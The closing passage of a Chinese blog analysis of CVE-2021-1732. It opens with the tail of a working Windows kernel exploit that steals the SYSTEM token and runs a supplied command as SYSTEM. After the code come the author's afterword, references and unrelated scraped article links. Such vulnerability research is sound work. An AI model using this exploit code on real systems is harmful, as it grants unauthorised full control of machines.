CurTokenAddr);}_Eprocess = readQword(_Eprocess + 0x2F0) - 0x2F0;} while (_Eprocess!=CurEprocess);if (!SystemToken || !CurTokenAddr) {printf("[!]Error:%d", __LINE__ );}else {//替换TokenSetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET, CurTokenAddr);SetWindowLongPtrA(g_hWndMax, 0, SystemToken);//验证是否提权成功printf("[+]Try to execute %s as SYSTEM!\n",argv[1]);system(argv[1]);}printf("[+]恢复原来的配置...\n");//恢复到没有修改之前的状态,防止蓝屏tagWndTriggle = HMValidateHandle(hWndTriggerBug, 1);//tagWnd->FlagsDWORD64 Flags = *(PDWORD64)(tagWndTriggle + 0xE0) ^ 0x80000000000;//g_hWndMax tagWnd->ExtraBytes=0SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,third + *(PDWORD)(tagWndTriggle + 8) + WND_EXTRA_DATA_PTR_OFFSET);SetWindowLongPtrA(g_hWndMax, 0, 0);//去除tagWndTriggle tagWnd->Flags中的0x800标记SetWindowLongPtrA(hWndMin, ulOffset + WND_EXTRA_DATA_PTR_OFFSET,third + *(PDWORD)(tagWndTriggle + 8) + 0xE0);SetWindowLongPtrA(g_hWndMax, 0, Flags);//还原tagWnd->spMenuSetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle ^ WND_STYLE_WS_CHLD);SetWindowLongPtrA(g_hWndMax, GWLP_ID, ulOldtagMenu);SetWindowLongPtrA(hWndMin, ulOffset + WND_STYLE_OFFSET, MaxWndStyle);//还原 hWndMin tagWnd->ExtraBytes SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET + ulOffset, ulOldMaxExtraBytes);SetWindowLongPtrA(hWndMin, WND_EXTRA_DATA_PTR_OFFSET, ulOldMinExtraBytes);return 0;
}

7.演示

tips:有时要多运行几次才能成功

0x4 后记

分析这个漏洞我用去了3周时间,其中最耗费时间的一个是找环境,二个是分析漏洞的利用链,最后一个是分析如何利用tagMenu。最棘手的就是tagMenu,前期找到的资料压根没提,我只能基于公开的POC和自己逆向分析去推测tagMenu的相关成员,包括tagWnd和内核中的窗口this指针,中间也出现过许多误解,随着多次测试和找到了更详细的资料后,逐步清晰起来。特别值得学习的是这个漏洞首次使用了tagMenu来泄露内核数据。

0x5 参考

https://saturn35.com/2021/03/16/20210316-1/

https://bbs.pediy.com/thread-266362.htm

https://paper.seebug.org/1574/

https://zhuanlan.zhihu.com/p/367326101

CVE-2021-1732 分析相关推荐

  1. 入选《2021爱分析·区域性银行数字化厂商全景报告》,网易云信助力南京银行打造转型标杆

    日前,国内著名研究机构 ifenxi 爱分析发布<2021爱分析·区域性银行数字化厂商全景报告>.作为融合通信云服务专家,网易云信凭借成熟的泛金融解决方案.稳定可靠的音视频+AI 技术实力 ...

  2. 新钛云服服务案例入选2021爱分析·云计算趋势报告

    号外!继入围<2021爱分析·云计算厂商全景报告>新钛云服再度入选<2021爱分析·云计算趋势报告>. 该报告是中国领先的产业数字化研究与咨询机构爱分析联合产业链相关企业合作研 ...

  3. AAAI 2021 | 情感分析最新进展解读

    图片来源:网络 作者:陆鑫,赵妍妍,秦兵 单位:哈尔滨工业大学 情感分析是自然语言处理中的一个重要研究领域,其相关应用在各种真实场景中发挥着重要作用. 近年来,基于深度学习的方法逐渐成为情感分析的主流 ...

  4. 2021爱分析·云计算厂商全景报告

    报告编委 **报告指导人 ** 李喆 爱分析 首席分析师 **报告执笔人 ** 郭佳伶 爱分析 分析师 李书娴 爱分析 分析师 目录 \1. 研究范围定义 \2. 甲方云计算需求 \3. 全场景地图 ...

  5. 2021爱分析·云计算趋势报告——支撑数字化转型,企业云平台建设进入新阶段

    报告编委 报告指导人 李喆 爱分析 合伙人&首席分析师 报告执笔人 郭佳伶 爱分析 分析师 李书娴 爱分析 分析师 外部专家(按姓氏拼音排序) 金霄 新钛云服 合伙人&产品运营中心负责 ...

  6. 2021爱分析·智能客服厂商全景报告

    报告编委 报告指导人 张 扬 爱分析 联合创始人&首席分析师 报告执笔人 孙文瑞 爱分析 高级分析师 李书娴 爱分析 分析师 戴 甜 爱分析 分析师 目录 \1. 研究范围定义 \2. 市场全 ...

  7. 2021爱分析·采购数字化厂商全景报告(附下载)

    报告编委 报告指导人 张扬 爱分析 首席分析师&联合创始人 报告执笔人 韩咲 爱分析 分析师 徐萌 爱分析 分析师 徐碧云 爱分析 分析师 摘要 产业互联网已是大势所趋,供应链能力的建设是每个 ...

  8. 2021爱分析·房企数字化厂商全景报告

    目录 \1. 研究范围定义 \2. 市场全景地图 \3. 市场定义与厂商评估 \4. 入选厂商列表 关于爱分析 研究与咨询服务 法律声明 1. 研究范围定义 研究范围 本报告研究对象为房企,主要包括从 ...

  9. 2021爱分析·快消品牌数字化趋势报告——多点开花,快消品牌商数字化新探索

    报告编委 报告指导人 李喆 爱分析合伙人&首席分析师 报告执笔人 姜明星 爱分析 分析师 廖耘加 爱分析 分析师 外部专家(按姓氏拼音排序) 鲁伊莎 观远数据联合创始人&COO 特别鸣 ...

  10. 2021爱分析・数据智能平台实践报告—重构数据智能时代的数据基础设施

    报告编委 报告指导人 黄勇 爱分析 合伙人&首席分析师 报告执笔人 洪逸群 爱分析 高级分析师 莫业林 戴甜 爱分析 爱分析 分析师 分析师 外部专家(按姓氏拼音排序) 方磊 九章云极 董事长 ...

最新文章

  1. Oracle 删除重复数据只留一条
  2. 不会这些基础命令,白做运维了
  3. RuntimeError 之 : CUDA error: device-side assert triggered
  4. 莉莉丝《剑与远征》:基于阿里云全站加速提升用户体验
  5. 技术人员,该如何向业务和产品“砍需求”?
  6. Android 程序目录介绍
  7. 《梦幻西游》打响反盗号战役:为2亿玩家提供360安全武器
  8. Rust —— 一门没有GC的语言
  9. 使用Delphi创建,解析,操纵XML文档
  10. 十.jmeter性能测试基础实践(2)
  11. 并查集路径压缩_并查集专题
  12. 吉利汽车借助阿里云进行汽车行业新零售模式探索
  13. EDA 电子设计自动化VHDL系列课程12 – 用点阵显示器 设计彩灯或动画
  14. X-Rover 关建华:所有产品首先要考虑的,永远是用户需求
  15. 字节跳动构建Data Catalog数据目录系统的实践
  16. GitHub的镜像登陆显示Whoa there!解决办法
  17. C程序设计 谭浩强 第三章
  18. 花呗的24期利息计算器_花呗利息怎么算 利息计算器算一算花呗分期付款利率
  19. 删除你的所有计算机文件的英文,删除Download和DataStore文件夹中的所有文件
  20. 2020李宏毅深度学习hw1

热门文章

  1. sql在线练习网站(http://sqlzoo.cn)答案解析(1)
  2. [译] 冲冠一怒为代码:论程序员与负能量
  3. 杭州端点网络java开发实习生笔试题自我反省
  4. 计算机网络-实验5:网络层-IP协议分析
  5. 6N6+6N1的反馈式并联稳压电路
  6. mocha测试js教程(涉及es6、ts)
  7. 【深搜】小孩分油问题
  8. 快捷录播服务器怎么显示时间,半自动高清录播服务器 高清全自动录播系统 方便携带 搭建快捷...
  9. python自动进直播_(1/5)手把手教你如何录制b站直播,并且借助python实现部分自动化...
  10. 什么是java的关键字_java中常见的关键字